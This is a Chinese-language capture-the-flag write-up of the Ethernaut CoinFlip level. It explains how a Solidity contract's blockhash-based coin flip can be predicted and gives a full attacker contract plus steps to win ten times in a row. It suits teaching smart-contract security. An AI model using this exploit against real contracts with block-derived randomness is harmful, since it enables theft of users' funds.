CTF CoinFlip

這道Blockchain CTF題目涉及一個以太坊智能合約的隨機數漏洞利用,題目要求用戶猜測一個基於區塊哈希的擲硬幣結果(true 或 false)。通過編寫攻擊合約,用戶可以在每個新區塊生成後計算正確的猜測,從而達成 CTF 挑戰的目標。

題目位置:https://ethernaut.openzeppelin.com/level/3

這種漏洞在以太坊智能合約中很常見,合約的漏洞在於其使用了可預測的區塊哈希作為隨機數來源,這使得攻擊者可以通過查詢區塊哈希輕鬆預測硬幣結果並連續猜對。


題目說明

這是擲銅板的遊戲,如果要過關必須連續猜對10次

主要功能: 用戶通過調用 flip 函數猜測硬幣結果(true 或 false)。如果猜對,consecutiveWins 增加 1;如果猜錯,consecutiveWins 重置為 0。

玩法:在chrome的console 執行 contract.flip(true)contract.flip(false) 來猜智能合約會拿到true或false。也可執行 contract.address查智能合約位置,在鏈上查consecutiveWins 目前連勝幾次。

合約內容如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

代碼解說

合約結構與功能

  • 狀態變量:
    • consecutiveWins: 記錄用戶連續猜對的次數。
    • lastHash: 記錄上一次使用的區塊哈希值,用於防止重複使用相同的區塊哈希。
    • FACTOR: 一個常量,用於將區塊哈希值轉換為 0 或 1(模擬硬幣的正反面)。
  • 構造函數: 初始化 consecutiveWins 為 0。
  • 主要函數: flip(bool _guess),根據區塊哈希生成隨機數,並與用戶的猜測 _guess 進行比較。
contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
    ...omit...

flip 函數的工作原理

獲取區塊哈希:

    • 使用 blockhash(block.number - 1) 獲取前一個區塊的哈希值,並將其轉換為 uint256 類型,存入 blockValue
    • block.number - 1 表示前一個區塊的編號,因為當前區塊的哈希在交易執行時尚未生成。
        function flip(bool _guess) public returns (bool) {
            uint256 blockValue = uint256(blockhash(block.number - 1));

    防止重複使用區塊哈希:

    • 檢查 lastHash 是否等於當前的 blockValue。如果相等,則調用 revert() 終止交易,防止同一區塊哈希被重複使用。換句話說就是必須等到下一個新的區塊產生才能玩這遊戲
            if (lastHash == blockValue) {
                revert();
            }
            lastHash = blockValue;

    生成隨機數:

    • blockValue 除以 FACTOR(一個大常數),得到 coinFlip,其值為 0 或 1。這是用來模擬隨機性的一種簡單方法,將區塊哈希的高位部分簡化為二元結果(0 或 1)。
    • 如果 coinFlip == 1,則 side = true;否則 side = false。這模擬了硬幣的正反面。
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;

    比較用戶猜測:

    • 如果 side 等於用戶的輸入 _guess,則:
      • consecutiveWins 增加 1。
      • 返回 true 表示猜對。
    • 否則:
      • consecutiveWins 重置為 0。
      • 返回 false 表示猜錯。
            if (side == _guess) {
                consecutiveWins++;
                return true;
            } else {
                consecutiveWins = 0;
                return false;
            }

    漏洞分析

    這段合約的設計看起來試圖通過區塊哈希來生成隨機數,但區塊哈希並不是一個真正安全的隨機數來源,這導致了以下漏洞:

    1. 區塊哈希的可預測性

    • 問題: 區塊哈希(blockhash(block.number - 1))是公開數據,任何人都可以通過以太坊區塊鏈查詢到前一個區塊的哈希值。
    • 影響: 攻擊者可以在調用 flip 函數之前,通過查詢前一個區塊的哈希值,計算出 blockValue / FACTOR 的結果,從而預測硬幣的正反面(side)。
    • 利用方式:
      • 攻擊者可以編寫一個攻擊合約,在同一交易中:
        1. 獲取前一個區塊的哈希值。
        2. 計算 blockValue / FACTOR 得到 coinFlip,進而確定 side(true 或 false)。
        3. 使用計算出的 side 作為 _guess 參數調用 flip 函數,保證每次都能猜對。
      • 通過連續調用,攻擊者可以無限增加 consecutiveWins,完成 CTF 挑戰(通常 CTF 要求達到一定的 consecutiveWins,例如 10 次)。

    2. 缺乏訪問控制

    • 問題: flip 函數是公開的(public),任何人都可以調用,且沒有限制調用頻率或用戶身份。
    • 影響: 攻擊者可以反覆調用 flip 函數,無需任何成本(除了 gas 費用),直到達成 CTF 目標。
    • 利用方式: 這使得攻擊者可以通過自動化腳本或合約反覆調用 flip,結合漏洞 1 的可預測性,輕鬆達成連續猜對。

    解答步驟

    準備一個攻擊合約,會通過複製 CoinFlip 合約的隨機數生成邏輯(基於區塊哈希和 FACTOR),利用區塊哈希的公開性和可預測性,確保每次調用 flip 時都能猜對硬幣結果。只需在新區塊生成後調用 attack 函數,重複若干次即可完成 CTF 挑戰。

    攻擊合約示例

    以下是一個可能的攻擊合約,用於利用區塊哈希的可預測性來連續猜對硬幣結果:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    interface ICoinFlip {
        function flip(bool _guess) external returns (bool);
    }
    
    contract CoinFlipAttacker {
        ICoinFlip public target;
        uint256 private FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
        constructor(address _targetAddress) {
            target = ICoinFlip(_targetAddress);
        }
    
        function attack() external {
            uint256 blockValue = uint256(blockhash(block.number - 1));
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;
            target.flip(side);
        }
    }

    攻擊合約分析

    接口定義:

       interface ICoinFlip {
           function flip(bool _guess) external returns (bool);
       }
    • 作用: 定義了 CoinFlip 合約的 flip 函數接口,允許攻擊合約與目標合約交互。
    • 細節: 接口指定了 flip 函數接受一個布林值參數 _guess(表示猜測硬幣的正反面),並返回一個布林值(表示猜測是否正確)。

    狀態變量:

    contract CoinFlipAttacker {
       ICoinFlip public target;
       uint256 private FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    • target: 存儲目標 CoinFlip 合約的地址,類型為 ICoinFlip,用於調用目標CTF合約的 flip 函數。
    • FACTOR: 與 CoinFlip 合約中相同的常量,用於將區塊哈希轉換為 0 或 1(模擬硬幣結果)。這個值約為 ( 2^{255} ),確保除法結果只有 0 或 1。

    構造函數:

       constructor(address _targetAddress) {
           target = ICoinFlip(_targetAddress);
       }
    • 作用: 在部署攻擊合約時,接收CTF目標 CoinFlip 合約的地址,並將其存儲在 target 變量中。
    • 細節: 通過將地址轉換為 ICoinFlip 類型,攻擊合約可以調用目標合約的 flip 函數。

    攻擊函數:

         function attack() external {
             uint256 blockValue = uint256(blockhash(block.number - 1));
             uint256 coinFlip = blockValue / FACTOR;
             bool side = coinFlip == 1 ? true : false;
             target.flip(side);
         }
      • 作用: 計算硬幣的正確結果(true 或 false),並調用目標CTF合約的 flip 函數進行猜測。
      • 執行步驟:
        1. 獲取區塊哈希:
          • 使用 blockhash(block.number - 1) 獲取前一個區塊的哈希值,並轉換為 uint256 類型,存入 blockValue
          • 這與 CoinFlip 合約中生成隨機數的方式一致。
        2. 計算硬幣結果:
          • blockValue 除以 FACTOR,得到 coinFlip,其值為 0 或 1。
          • 使用三元運算符 coinFlip == 1 ? true : falsecoinFlip 轉換為布林值 side(true 表示硬幣正面,false 表示反面)。
        3. 調用目標合約:
          • 使用計算出的 side 作為參數,調用 target.flip(side),向 CoinFlip 合約提交猜測。
          • 由於 side 是根據相同的邏輯(區塊哈希和 FACTOR)計算的,猜測必然正確,CoinFlipconsecutiveWins 會增加 1。

      攻擊流程

      部署攻擊合約:

      • 部署 CoinFlipAttacker,並在構造函數中傳入CTF題目 CoinFlip 合約的地址。

      等待新區塊:

      • 由於 CoinFlip 合約中的 lastHash 檢查(if (lastHash == blockValue) { revert(); }),攻擊者必須在新區塊生成後調用 attack 函數,以確保 blockhash(block.number - 1) 與上一次調用的哈希值不同。
      • 在以太坊主網上,區塊生成時間約為 12-15 秒,因此需要等待新區塊。

      執行攻擊:

      • 在新區塊生成後,調用 attack 函數。
      • 攻擊合約計算與 CoinFlip 相同的隨機數結果(side),並調用 target.flip(side)
      • 由於猜測必然正確,CoinFlipconsecutiveWins 增加 1。

      重複執行:

      • 重複以上步驟,每次在新區塊生成後調用 attack,直到 consecutiveWins 達到 CTF 挑戰的要求(例如 10 次連續猜對)。